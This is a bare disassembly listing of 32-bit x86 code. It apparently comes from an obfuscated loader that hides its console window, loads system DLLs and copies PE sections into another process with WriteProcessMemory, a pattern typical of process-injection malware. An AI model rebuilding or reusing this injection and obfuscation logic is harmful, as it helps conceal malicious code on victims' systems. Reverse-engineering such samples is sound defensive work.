mov dword [ebp - 0x124], 0x58c68c3d
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xe2e5a8a8
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xe17cbd13
jmp 0x1000b84c
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001310
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001310
add esp, 4
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018230]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001822c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018228]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xcb3d81d0
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xdf48424a
jmp 0x1000b84c
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018210]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001820c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x6463fcf6
jmp 0x1000b84c
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181f4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x23a248d3
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xdf2f0498
jmp 0x1000b84c
mov dword [ebp - 0x124], 0x99c5fb47
jmp 0x1000b84c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xa87e38df
jmp 0x1000b84c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001819c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x6cf28166
jmp 0x1000b84c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x9982b0fa
jmp 0x1000b84c
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc0]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xec]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002f40
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x124], 0x97a48206
jmp 0x1000b84c
jmp 0x10003347